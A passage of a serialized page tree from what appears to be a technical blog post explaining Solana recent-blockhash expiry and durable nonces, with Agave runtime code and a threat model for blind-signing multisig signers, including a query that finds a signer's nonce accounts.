ype":25,"tag":271,"props":80974,"children":80975},{"style":13603},[80976],{"type":30,"value":359},{"type":25,"tag":271,"props":80978,"children":80979},{"style":13609},[80980],{"type":30,"value":18991},{"type":25,"tag":271,"props":80982,"children":80983},{"style":13625},[80984],{"type":30,"value":14406},{"type":25,"tag":271,"props":80986,"children":80987},{"style":13603},[80988],{"type":30,"value":14411},{"type":25,"tag":271,"props":80990,"children":80991},{"style":13609},[80992],{"type":30,"value":25175},{"type":25,"tag":271,"props":80994,"children":80995},{"style":13625},[80996],{"type":30,"value":16431},{"type":25,"tag":271,"props":80998,"children":80999},{"class":13593,"line":11641},[81000,81005,81009,81014,81018,81023,81027],{"type":25,"tag":271,"props":81001,"children":81002},{"style":13598},[81003],{"type":30,"value":81004},"    last_hash_index",{"type":25,"tag":271,"props":81006,"children":81007},{"style":13603},[81008],{"type":30,"value":64371},{"type":25,"tag":271,"props":81010,"children":81011},{"style":13598},[81012],{"type":30,"value":81013}," hash_index",{"type":25,"tag":271,"props":81015,"children":81016},{"style":13603},[81017],{"type":30,"value":21318},{"type":25,"tag":271,"props":81019,"children":81020},{"style":13598},[81021],{"type":30,"value":81022}," max_age",{"type":25,"tag":271,"props":81024,"children":81025},{"style":14289},[81026],{"type":30,"value":21948},{"type":25,"tag":271,"props":81028,"children":81029},{"style":13609},[81030],{"type":30,"value":26322},{"type":25,"tag":271,"props":81032,"children":81033},{"class":13593,"line":14354},[81034],{"type":25,"tag":271,"props":81035,"children":81036},{"style":13625},[81037],{"type":30,"value":17058},{"type":25,"tag":26,"props":81039,"children":81040},{},[81041],{"type":30,"value":81042},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":25,"tag":16074,"props":81044,"children":81045},{},[81046],{"type":25,"tag":26,"props":81047,"children":81048},{},[81049,81051],{"type":30,"value":81050},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":25,"tag":38,"props":81052,"children":81053},{},[81054],{"type":30,"value":81055},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":25,"tag":26,"props":81057,"children":81058},{},[81059,81061,81066],{"type":30,"value":81060},"This means an attacker ",{"type":25,"tag":10281,"props":81062,"children":81063},{},[81064],{"type":30,"value":81065},"must use",{"type":30,"value":81067}," a malicious signed transaction within a short timeframe.",{"type":25,"tag":247,"props":81069,"children":81071},{"id":81070},"durable-nonce",[81072],{"type":30,"value":81073},"Durable Nonce",{"type":25,"tag":26,"props":81075,"children":81076},{},[81077,81079,81086],{"type":30,"value":81078},"The second type of signature ",{"type":25,"tag":83,"props":81080,"children":81083},{"href":81081,"rel":81082},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[9066],[81084],{"type":30,"value":81085},"is a durable nonce",{"type":30,"value":81087},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":25,"tag":16074,"props":81089,"children":81090},{},[81091],{"type":25,"tag":26,"props":81092,"children":81093},{},[81094,81096],{"type":30,"value":81095},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":25,"tag":38,"props":81097,"children":81098},{},[81099],{"type":30,"value":81100},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":25,"tag":26,"props":81102,"children":81103},{},[81104,81106,81113],{"type":30,"value":81105},"If we examine the code ",{"type":25,"tag":83,"props":81107,"children":81110},{"href":81108,"rel":81109},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[9066],[81111],{"type":30,"value":81112},"for recent blockhash validation",{"type":30,"value":81114},", we can also see the handling for durable nonces.",{"type":25,"tag":7764,"props":81116,"children":81118},{"className":13586,"code":81117,"language":13585,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[81119],{"type":25,"tag":264,"props":81120,"children":81121},{"__ignoreMap":7},[81122,81169,81235,81255,81275,81305,81313,81367,81384,81404,81416,81428,81436,81443,81462,81489,81509,81516,81531,81561,81590],{"type":25,"tag":271,"props":81123,"children":81124},{"class":13593,"line":13594},[81125,81129,81134,81138,81143,81147,81152,81156,81160,81165],{"type":25,"tag":271,"props":81126,"children":81127},{"style":14289},[81128],{"type":30,"value":16140},{"type":25,"tag":271,"props":81130,"children":81131},{"style":13598},[81132],{"type":30,"value":81133}," recent_blockhash",{"type":25,"tag":271,"props":81135,"children":81136},{"style":13603},[81137],{"type":30,"value":16155},{"type":25,"tag":271,"props":81139,"children":81140},{"style":13598},[81141],{"type":30,"value":81142}," tx",{"type":25,"tag":271,"props":81144,"children":81145},{"style":13603},[81146],{"type":30,"value":1860},{"type":25,"tag":271,"props":81148,"children":81149},{"style":13620},[81150],{"type":30,"value":81151},"message",{"type":25,"tag":271,"props":81153,"children":81154},{"style":13625},[81155],{"type":30,"value":27000},{"type":25,"tag":271,"props":81157,"children":81158},{"style":13603},[81159],{"type":30,"value":1860},{"type":25,"tag":271,"props":81161,"children":81162},{"style":13620},[81163],{"type":30,"value":81164},"recent_blockhash",{"type":25,"tag":271,"props":81166,"children":81167},{"style":13625},[81168],{"type":30,"value":16820},{"type":25,"tag":271,"props":81170,"children":81171},{"class":13593,"line":11641},[81172,81176,81180,81184,81188,81193,81197,81201,81206,81210,81215,81219,81223,81227,81231],{"type":25,"tag":271,"props":81173,"children":81174},{"style":16171},[81175],{"type":30,"value":25404},{"type":25,"tag":271,"props":81177,"children":81178},{"style":14289},[81179],{"type":30,"value":40415},{"type":25,"tag":271,"props":81181,"children":81182},{"style":13609},[81183],{"type":30,"value":40420},{"type":25,"tag":271,"props":81185,"children":81186},{"style":13625},[81187],{"type":30,"value":394},{"type":25,"tag":271,"props":81189,"children":81190},{"style":13598},[81191],{"type":30,"value":81192},"hash_info",{"type":25,"tag":271,"props":81194,"children":81195},{"style":13625},[81196],{"type":30,"value":14406},{"type":25,"tag":271,"props":81198,"children":81199},{"style":13603},[81200],{"type":30,"value":1065},{"type":25,"tag":271,"props":81202,"children":81203},{"style":13598},[81204],{"type":30,"value":81205}," hash_queue",{"type":25,"tag":271,"props":81207,"children":81208},{"style":13603},[81209],{"type":30,"value":1860},{"type":25,"tag":271,"props":81211,"children":81212},{"style":13620},[81213],{"type":30,"value":81214},"get_hash_info_if_valid",{"type":25,"tag":271,"props":81216,"children":81217},{"style":13625},[81218],{"type":30,"value":394},{"type":25,"tag":271,"props":81220,"children":81221},{"style":13598},[81222],{"type":30,"value":81164},{"type":25,"tag":271,"props":81224,"children":81225},{"style":13625},[81226],{"type":30,"value":44},{"type":25,"tag":271,"props":81228,"children":81229},{"style":13598},[81230],{"type":30,"value":80955},{"type":25,"tag":271,"props":81232,"children":81233},{"style":13625},[81234],{"type":30,"value":27925},{"type":25,"tag":271,"props":81236,"children":81237},{"class":13593,"line":14354},[81238,81242,81246,81251],{"type":25,"tag":271,"props":81239,"children":81240},{"style":13609},[81241],{"type":30,"value":27933},{"type":25,"tag":271,"props":81243,"children":81244},{"style":13625},[81245],{"type":30,"value":394},{"type":25,"tag":271,"props":81247,"children":81248},{"style":13609},[81249],{"type":30,"value":81250},"CheckedTransactionDetails",{"type":25,"tag":271,"props":81252,"children":81253},{"style":13625},[81254],{"type":30,"value":16431},{"type":25,"tag":271,"props":81256,"children":81257},{"class":13593,"line":14391},[81258,81263,81267,81271],{"type":25,"tag":271,"props":81259,"children":81260},{"style":13598},[81261],{"type":30,"value":81262},"            nonce",{"type":25,"tag":271,"props":81264,"children":81265},{"style":13603},[81266],{"type":30,"value":359},{"type":25,"tag":271,"props":81268,"children":81269},{"style":13609},[81270],{"type":30,"value":40868},{"type":25,"tag":271,"props":81272,"children":81273},{"style":13625},[81274],{"type":30,"value":14351},{"type":25,"tag":271,"props":81276,"children":81277},{"class":13593,"line":14400},[81278,81283,81287,81292,81296,81301],{"type":25,"tag":271,"props":81279,"children":81280},{"style":13598},[81281],{"type":30,"value":81282},"            lamports_per_signature",{"type":25,"tag":271,"props":81284,"children":81285},{"style":13603},[81286],{"type":30,"value":359},{"type":25,"tag":271,"props":81288,"children":81289},{"style":13598},[81290],{"type":30,"value":81291}," hash_info",{"type":25,"tag":271,"props":81293,"children":81294},{"style":13603},[81295],{"type":30,"value":1860},{"type":25,"tag":271,"props":81297,"children":81298},{"style":13620},[81299],{"type":30,"value":81300},"lamports_per_signature",{"type":25,"tag":271,"props":81302,"children":81303},{"style":13625},[81304],{"type":30,"value":16636},{"type":25,"tag":271,"props":81306,"children":81307},{"class":13593,"line":16406},[81308],{"type":25,"tag":271,"props":81309,"children":81310},{"style":13625},[81311],{"type":30,"value":81312},"        })\n",{"type":25,"tag":271,"props":81314,"children":81315},{"class":13593,"line":16434},[81316,81320,81324,81328,81332,81336,81340,81345,81349,81354,81358,81362],{"type":25,"tag":271,"props":81317,"children":81318},{"style":13625},[81319],{"type":30,"value":28901},{"type":25,"tag":271,"props":81321,"children":81322},{"style":16171},[81323],{"type":30,"value":16458},{"type":25,"tag":271,"props":81325,"children":81326},{"style":16171},[81327],{"type":30,"value":28910},{"type":25,"tag":271,"props":81329,"children":81330},{"style":14289},[81331],{"type":30,"value":40415},{"type":25,"tag":271,"props":81333,"children":81334},{"style":13609},[81335],{"type":30,"value":40420},{"type":25,"tag":271,"props":81337,"children":81338},{"style":13625},[81339],{"type":30,"value":44635},{"type":25,"tag":271,"props":81341,"children":81342},{"style":13598},[81343],{"type":30,"value":81344},"nonce",{"type":25,"tag":271,"props":81346,"children":81347},{"style":13625},[81348],{"type":30,"value":44},{"type":25,"tag":271,"props":81350,"children":81351},{"style":13598},[81352],{"type":30,"value":81353},"previous_lamports_per_signature",{"type":25,"tag":271,"props":81355,"children":81356},{"style":13625},[81357],{"type":30,"value":21957},{"type":25,"tag":271,"props":81359,"children":81360},{"style":13603},[81361],{"type":30,"value":1065},{"type":25,"tag":271,"props":81363,"children":81364},{"style":14289},[81365],{"type":30,"value":81366}," self\n",{"type":25,"tag":271,"props":81368,"children":81369},{"class":13593,"line":16447},[81370,81375,81380],{"type":25,"tag":271,"props":81371,"children":81372},{"style":13603},[81373],{"type":30,"value":81374},"        .",{"type":25,"tag":271,"props":81376,"children":81377},{"style":13620},[81378],{"type":30,"value":81379},"check_load_and_advance_message_nonce_account",{"type":25,"tag":271,"props":81381,"children":81382},{"style":13625},[81383],{"type":30,"value":16609},{"type":25,"tag":271,"props":81385,"children":81386},{"class":13593,"line":16465},[81387,81392,81396,81400],{"type":25,"tag":271,"props":81388,"children":81389},{"style":13598},[81390],{"type":30,"value":81391},"            tx",{"type":25,"tag":271,"props":81393,"children":81394},{"style":13603},[81395],{"type":30,"value":1860},{"type":25,"tag":271,"props":81397,"children":81398},{"style":13620},[81399],{"type":30,"value":81151},{"type":25,"tag":271,"props":81401,"children":81402},{"style":13625},[81403],{"type":30,"value":16636},{"type":25,"tag":271,"props":81405,"children":81406},{"class":13593,"line":16486},[81407,81412],{"type":25,"tag":271,"props":81408,"children":81409},{"style":13598},[81410],{"type":30,"value":81411},"            next_durable_nonce",{"type":25,"tag":271,"props":81413,"children":81414},{"style":13625},[81415],{"type":30,"value":14351},{"type":25,"tag":271,"props":81417,"children":81418},{"class":13593,"line":16495},[81419,81424],{"type":25,"tag":271,"props":81420,"children":81421},{"style":13598},[81422],{"type":30,"value":81423},"            next_lamports_per_signature",{"type":25,"tag":271,"props":81425,"children":81426},{"style":13625},[81427],{"type":30,"value":14351},{"type":25,"tag":271,"props":81429,"children":81430},{"class":13593,"line":16744},[81431],{"type":25,"tag":271,"props":81432,"children":81433},{"style":13625},[81434],{"type":30,"value":81435},"        )\n",{"type":25,"tag":271,"props":81437,"children":81438},{"class":13593,"line":16761},[81439],{"type":25,"tag":271,"props":81440,"children":81441},{"style":13625},[81442],{"type":30,"value":42299},{"type":25,"tag":271,"props":81444,"children":81445},{"class":13593,"line":16778},[81446,81450,81454,81458],{"type":25,"tag":271,"props":81447,"children":81448},{"style":13609},[81449],{"type":30,"value":27933},{"type":25,"tag":271,"props":81451,"children":81452},{"style":13625},[81453],{"type":30,"value":394},{"type":25,"tag":271,"props":81455,"children":81456},{"style":13609},[81457],{"type":30,"value":81250},{"type":25,"tag":271,"props":81459,"children":81460},{"style":13625},[81461],{"type":30,"value":16431},{"type":25,"tag":271,"props":81463,"children":81464},{"class":13593,"line":16791},[81465,81469,81473,81477,81481,81485],{"type":25,"tag":271,"props":81466,"children":81467},{"style":13598},[81468],{"type":30,"value":81262},{"type":25,"tag":271,"props":81470,"children":81471},{"style":13603},[81472],{"type":30,"value":359},{"type":25,"tag":271,"props":81474,"children":81475},{"style":13609},[81476],{"type":30,"value":40420},{"type":25,"tag":271,"props":81478,"children":81479},{"style":13625},[81480],{"type":30,"value":394},{"type":25,"tag":271,"props":81482,"children":81483},{"style":13598},[81484],{"type":30,"value":81344},{"type":25,"tag":271,"props":81486,"children":81487},{"style":13625},[81488],{"type":30,"value":19860},{"type":25,"tag":271,"props":81490,"children":81491},{"class":13593,"line":16800},[81492,81496,81500,81505],{"type":25,"tag":271,"props":81493,"children":81494},{"style":13598},[81495],{"type":30,"value":81282},{"type":25,"tag":271,"props":81497,"children":81498},{"style":13603},[81499],{"type":30,"value":359},{"type":25,"tag":271,"props":81501,"children":81502},{"style":13598},[81503],{"type":30,"value":81504}," previous_lamports_per_signature",{"type":25,"tag":271,"props":81506,"children":81507},{"style":13625},[81508],{"type":30,"value":14351},{"type":25,"tag":271,"props":81510,"children":81511},{"class":13593,"line":16823},[81512],{"type":25,"tag":271,"props":81513,"children":81514},{"style":13625},[81515],{"type":30,"value":81312},{"type":25,"tag":271,"props":81517,"children":81518},{"class":13593,"line":16832},[81519,81523,81527],{"type":25,"tag":271,"props":81520,"children":81521},{"style":13625},[81522],{"type":30,"value":28901},{"type":25,"tag":271,"props":81524,"children":81525},{"style":16171},[81526],{"type":30,"value":16458},{"type":25,"tag":271,"props":81528,"children":81529},{"style":13625},[81530],{"type":30,"value":16431},{"type":25,"tag":271,"props":81532,"children":81533},{"class":13593,"line":16841},[81534,81539,81543,81548,81553,81557],{"type":25,"tag":271,"props":81535,"children":81536},{"style":13598},[81537],{"type":30,"value":81538},"        error_counters",{"type":25,"tag":271,"props":81540,"children":81541},{"style":13603},[81542],{"type":30,"value":1860},{"type":25,"tag":271,"props":81544,"children":81545},{"style":13625},[81546],{"type":30,"value":81547},"blockhash_not_found ",{"type":25,"tag":271,"props":81549,"children":81550},{"style":13603},[81551],{"type":30,"value":81552},"+=",{"type":25,"tag":271,"props":81554,"children":81555},{"style":16187},[81556],{"type":30,"value":17654},{"type":25,"tag":271,"props":81558,"children":81559},{"style":13625},[81560],{"type":30,"value":16165},{"type":25,"tag":271,"props":81562,"children":81563},{"class":13593,"line":16907},[81564,81568,81572,81577,81581,81586],{"type":25,"tag":271,"props":81565,"children":81566},{"style":13609},[81567],{"type":30,"value":27976},{"type":25,"tag":271,"props":81569,"children":81570},{"style":13625},[81571],{"type":30,"value":394},{"type":25,"tag":271,"props":81573,"children":81574},{"style":13609},[81575],{"type":30,"value":81576},"TransactionError",{"type":25,"tag":271,"props":81578,"children":81579},{"style":13603},[81580],{"type":30,"value":13617},{"type":25,"tag":271,"props":81582,"children":81583},{"style":13609},[81584],{"type":30,"value":81585},"BlockhashNotFound",{"type":25,"tag":271,"props":81587,"children":81588},{"style":13625},[81589],{"type":30,"value":16299},{"type":25,"tag":271,"props":81591,"children":81592},{"class":13593,"line":16915},[81593],{"type":25,"tag":271,"props":81594,"children":81595},{"style":13625},[81596],{"type":30,"value":16501},{"type":25,"tag":26,"props":81598,"children":81599},{},[81600],{"type":30,"value":81601},"The documentation does a good job of explaining how they work.",{"type":25,"tag":16074,"props":81603,"children":81604},{},[81605],{"type":25,"tag":26,"props":81606,"children":81607},{},[81608],{"type":30,"value":81609},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":25,"tag":26,"props":81611,"children":81612},{},[81613,81615,81622],{"type":30,"value":81614},"Durable nonces are created and managed ",{"type":25,"tag":83,"props":81616,"children":81619},{"href":81617,"rel":81618},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[9066],[81620],{"type":30,"value":81621},"by the system program",{"type":30,"value":81623},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":25,"tag":26,"props":81625,"children":81626},{},[81627,81629,81636],{"type":30,"value":81628},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":25,"tag":83,"props":81630,"children":81633},{"href":81631,"rel":81632},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[9066],[81634],{"type":30,"value":81635},"based on the current blockhash",{"type":30,"value":81637},", and cannot be predicted in advance.",{"type":25,"tag":7764,"props":81639,"children":81641},{"className":13586,"code":81640,"language":13585,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[81642],{"type":25,"tag":264,"props":81643,"children":81644},{"__ignoreMap":7},[81645,81697,81730],{"type":25,"tag":271,"props":81646,"children":81647},{"class":13593,"line":13594},[81648,81652,81656,81660,81664,81668,81673,81677,81681,81685,81689,81693],{"type":25,"tag":271,"props":81649,"children":81650},{"style":14289},[81651],{"type":30,"value":16140},{"type":25,"tag":271,"props":81653,"children":81654},{"style":13598},[81655],{"type":30,"value":81205},{"type":25,"tag":271,"props":81657,"children":81658},{"style":13603},[81659],{"type":30,"value":16155},{"type":25,"tag":271,"props":81661,"children":81662},{"style":14289},[81663],{"type":30,"value":26918},{"type":25,"tag":271,"props":81665,"children":81666},{"style":13603},[81667],{"type":30,"value":1860},{"type":25,"tag":271,"props":81669,"children":81670},{"style":13625},[81671],{"type":30,"value":81672},"blockhash_queue",{"type":25,"tag":271,"props":81674,"children":81675},{"style":13603},[81676],{"type":30,"value":1860},{"type":25,"tag":271,"props":81678,"children":81679},{"style":13620},[81680],{"type":30,"value":73756},{"type":25,"tag":271,"props":81682,"children":81683},{"style":13625},[81684],{"type":30,"value":27000},{"type":25,"tag":271,"props":81686,"children":81687},{"style":13603},[81688],{"type":30,"value":1860},{"type":25,"tag":271,"props":81690,"children":81691},{"style":13620},[81692],{"type":30,"value":16815},{"type":25,"tag":271,"props":81694,"children":81695},{"style":13625},[81696],{"type":30,"value":16820},{"type":25,"tag":271,"props":81698,"children":81699},{"class":13593,"line":11641},[81700,81704,81709,81713,81717,81721,81726],{"type":25,"tag":271,"props":81701,"children":81702},{"style":14289},[81703],{"type":30,"value":16140},{"type":25,"tag":271,"props":81705,"children":81706},{"style":13598},[81707],{"type":30,"value":81708}," last_blockhash",{"type":25,"tag":271,"props":81710,"children":81711},{"style":13603},[81712],{"type":30,"value":16155},{"type":25,"tag":271,"props":81714,"children":81715},{"style":13598},[81716],{"type":30,"value":81205},{"type":25,"tag":271,"props":81718,"children":81719},{"style":13603},[81720],{"type":30,"value":1860},{"type":25,"tag":271,"props":81722,"children":81723},{"style":13620},[81724],{"type":30,"value":81725},"last_hash",{"type":25,"tag":271,"props":81727,"children":81728},{"style":13625},[81729],{"type":30,"value":16820},{"type":25,"tag":271,"props":81731,"children":81732},{"class":13593,"line":14354},[81733,81737,81742,81746,81751,81755,81760,81764,81768,81773],{"type":25,"tag":271,"props":81734,"children":81735},{"style":14289},[81736],{"type":30,"value":16140},{"type":25,"tag":271,"props":81738,"children":81739},{"style":13598},[81740],{"type":30,"value":81741}," next_durable_nonce",{"type":25,"tag":271,"props":81743,"children":81744},{"style":13603},[81745],{"type":30,"value":16155},{"type":25,"tag":271,"props":81747,"children":81748},{"style":13609},[81749],{"type":30,"value":81750}," DurableNonce",{"type":25,"tag":271,"props":81752,"children":81753},{"style":13603},[81754],{"type":30,"value":13617},{"type":25,"tag":271,"props":81756,"children":81757},{"style":13620},[81758],{"type":30,"value":81759},"from_blockhash",{"type":25,"tag":271,"props":81761,"children":81762},{"style":13625},[81763],{"type":30,"value":394},{"type":25,"tag":271,"props":81765,"children":81766},{"style":13603},[81767],{"type":30,"value":13632},{"type":25,"tag":271,"props":81769,"children":81770},{"style":13598},[81771],{"type":30,"value":81772},"last_blockhash",{"type":25,"tag":271,"props":81774,"children":81775},{"style":13625},[81776],{"type":30,"value":13665},{"type":25,"tag":26,"props":81778,"children":81779},{},[81780,81782,81787],{"type":30,"value":81781},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":25,"tag":10281,"props":81783,"children":81784},{},[81785],{"type":30,"value":81786},"can",{"type":30,"value":81788}," be saved and reused.",{"type":25,"tag":96,"props":81790,"children":81792},{"id":81791},"threat-model",[81793],{"type":30,"value":81794},"Threat Model",{"type":25,"tag":26,"props":81796,"children":81797},{},[81798],{"type":30,"value":81799},"Let's consider a simplified form of the original question.",{"type":25,"tag":661,"props":81801,"children":81802},{},[81803,81808,81813],{"type":25,"tag":112,"props":81804,"children":81805},{},[81806],{"type":30,"value":81807},"We have a N/M multisig",{"type":25,"tag":112,"props":81809,"children":81810},{},[81811],{"type":30,"value":81812},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":25,"tag":112,"props":81814,"children":81815},{},[81816],{"type":30,"value":81817},"We can accurately query chain state.",{"type":25,"tag":26,"props":81819,"children":81820},{},[81821],{"type":30,"value":81822},"Can we safely sign transactions?",{"type":25,"tag":26,"props":81824,"children":81825},{},[81826],{"type":30,"value":81827},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":25,"tag":26,"props":81829,"children":81830},{},[81831,81833,81839,81841,81848],{"type":30,"value":81832},"Durable nonces require an onchain account, and it's possible to use a ",{"type":25,"tag":264,"props":81834,"children":81836},{"className":81835},[],[81837],{"type":30,"value":81838},"getProgramAccounts",{"type":30,"value":81840}," call to validate if your signer ",{"type":25,"tag":83,"props":81842,"children":81845},{"href":81843,"rel":81844},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[9066],[81846],{"type":30,"value":81847},"has an associated durable nonce",{"type":30,"value":1860},{"type":25,"tag":7764,"props":81850,"children":81852},{"className":49042,"code":81851,"language":49044,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[81853],{"type":25,"tag":264,"props":81854,"children":81855},{"__ignoreMap":7},[81856,81903,81939,81947,81959,81967,81979,81987,81995,82012,82019,82026,82034,82042,82054,82080,82097,82104,82111,82119,82126],{"type":25,"tag":271,"props":81857,"children":81858},{"class":13593,"line":13594},[81859,81863,81868,81872,81876,81881,81885,81890,81894,81899],{"type":25,"tag":271,"props":81860,"children":81861},{"style":14289},[81862],{"type":30,"value":22778},{"type":25,"tag":271,"props":81864,"children":81865},{"style":13598},[81866],{"type":30,"value":81867}," connection",{"type":25,"tag":271,"props":81869,"children":81870},{"style":13603},[81871],{"type":30,"value":16155},{"type":25,"tag":271,"props":81873,"children":81874},{"style":14289},[81875],{"type":30,"value":45045},{"type":25,"tag":271,"props":81877,"children":81878},{"style":13620},[81879],{"type":30,"value":81880}," Connection",{"type":25,"tag":271,"props":81882,"children":81883},{"style":13625},[81884],{"type":30,"value":394},{"type":25,"tag":271,"props":81886,"children":81887},{"style":13620},[81888],{"type":30,"value":81889},"clusterApiUrl",{"type":25,"tag":271,"props":81891,"children":81892},{"style":13625},[81893],{"type":30,"value":394},{"type":25,"tag":271,"props":81895,"children":81896},{"style":17388},[81897],{"type":30,"value":81898},"'testnet'",{"type":25,"tag":271,"props":81900,"children":81901},{"style":13625},[81902],{"type":30,"value":20346},{"type":25,"tag":271,"props":81904,"children":81905},{"class":13593,"line":11641},[81906,81910,81915,81919,81923,81927,81931,81935],{"type":25,"tag":271,"props":81907,"children":81908},{"style":14289},[81909],{"type":30,"value":22778},{"type":25,"tag":271,"props":81911,"children":81912},{"style":13598},[81913],{"type":30,"value":81914}," nonceAccounts",{"type":25,"tag":271,"props":81916,"children":81917},{"style":13603},[81918],{"type":30,"value":16155},{"type":25,"tag":271,"props":81920,"children":81921},{"style":16171},[81922],{"type":30,"value":49323},{"type":25,"tag":271,"props":81924,"children":81925},{"style":13598},[81926],{"type":30,"value":81867},{"type":25,"tag":271,"props":81928,"children":81929},{"style":13625},[81930],{"type":30,"value":1860},{"type":25,"tag":271,"props":81932,"children":81933},{"style":13620},[81934],{"type":30,"value":81838},{"type":25,"tag":271,"props":81936,"children":81937},{"style":13625},[81938],{"type":30,"value":16609},{"type":25,"tag":271,"props":81940,"children":81941},{"class":13593,"line":14354},[81942],{"type":25,"tag":271,"props":81943,"children":81944},{"style":14385},[81945],{"type":30,"value":81946},"  // The system program owns all nonce accounts.\n",{"type":25,"tag":271,"props":81948,"children":81949},{"class":13593,"line":14391},[81950,81955],{"type":25,"tag":271,"props":81951,"children":81952},{"style":13598},[81953],{"type":30,"value":81954},"  SYSTEM_PROGRAM_ADDRESS",{"type":25,"tag":271,"props":81956,"children":81957},{"style":13625},[81958],{"type":30,"value":14351},{"type":25,"tag":271,"props":81960,"children":81961},{"class":13593,"line":14400},[81962],{"type":25,"tag":271,"props":81963,"children":81964},{"style":13625},[81965],{"type":30,"value":81966},"  {\n",{"type":25,"tag":271,"props":81968,"children":81969},{"class":13593,"line":16406},[81970,81975],{"type":25,"tag":271,"props":81971,"children":81972},{"style":13598},[81973],{"type":30,"value":81974},"    filters:",{"type":25,"tag":271,"props":81976,"children":81977},{"style":13625},[81978],{"type":30,"value":38731},{"type":25,"tag":271,"props":81980,"children":81981},{"class":13593,"line":16434},[81982],{"type":25,"tag":271,"props":81983,"children":81984},{"style":13625},[81985],{"type":30,"value":81986},"      {\n",{"type":25,"tag":271,"props":81988,"children":81989},{"class":13593,"line":16447},[81990],{"type":25,"tag":271,"props":81991,"children":81992},{"style":14385},[81993],{"type":30,"value":81994},"        // Nonce accounts are exactly 80 bytes long\n",{"type":25,"tag":271,"props":81996,"children":81997},{"class":13593,"line":16465},[81998,82003,82008],{"type":25,"tag":271,"props":81999,"children":82000},{"style":13598},[82001],{"type":30,"value":82002},"        dataSize:",{"type":25,"tag":271,"props":82004,"children":82005},{"style":16187},[82006],{"type":30,"value":82007}," 80",{"type":25,"tag":271,"props":82009,"children":82010},{"style":13625},[82011],{"type":30,"value":14351},{"type":25,"tag":271,"props":82013,"children":82014},{"class":13593,"line":16486},[82015],{"type":25,"tag":271,"props":82016,"children":82017},{"style":13625},[82018],{"type":30,"value":50311},{"type":25,"tag":271,"props":82020,"children":82021},{"class":13593,"line":16495},[82022],{"type":25,"tag":271,"props":82023,"children":82024},{"style":13625},[82025],{"type":30,"value":81986},{"type":25,"tag":271,"props":82027,"children":82028},{"class":13593,"line":16744},[82029],{"type":25,"tag":271,"props":82030,"children":82031},{"style":14385},[82032],{"type":30,"value":82033},"        // The authority's 32-byte public key is written\n",{"type":25,"tag":271,"props":82035,"children":82036},{"class":13593,"line":16761},[82037],{"type":25,"tag":271,"props":82038,"children":82039},{"style":14385},[82040],{"type":30,"value":82041},"        // into bytes 8-40 of the nonce's account data.\n",{"type":25,"tag":271,"props":82043,"children":82044},{"class":13593,"line":16778},[82045,82050],{"type":25,"tag":271,"props":82046,"children":82047},{"style":13598},[82048],{"type":30,"value":82049},"        memcmp:",{"type":25,"tag":271,"props":82051,"children":82052},{"style":13625},[82053],{"type":30,"value":16431},{"type":25,"tag":271,"props":82055,"children":82056},{"class":13593,"line":16791},[82057,82062,82067,82071,82076],{"type":25,"tag":271,"props":82058,"children":82059},{"style":13598},[82060],{"type":30,"value":82061},"          bytes:",{"type":25,"tag":271,"props":82063,"children":82064},{"style":13598},[82065],{"type":30,"value":82066}," AUTHORITY_PUBLIC_KEY",{"type":25,"tag":271,"props":82068,"children":82069},{"style":13625},[82070],{"type":30,"value":1860},{"type":25,"tag":271,"props":82072,"children":82073},{"style":13620},[82074],{"type":30,"value":82075},"toBase58",{"type":25,"tag":271,"props":82077,"children":82078},{"style":13625},[82079],{"type":30,"value":16636},{"type":25,"tag":271,"props":82081,"children":82082},{"class":13593,"line":16800},[82083,82088,82093],{"type":25,"tag":271,"props":82084,"children":82085},{"style":13598},[82086],{"type":30,"value":82087},"          offset:",{"type":25,"tag":271,"props":82089,"children":82090},{"style":16187},[82091],{"type":30,"value":82092}," 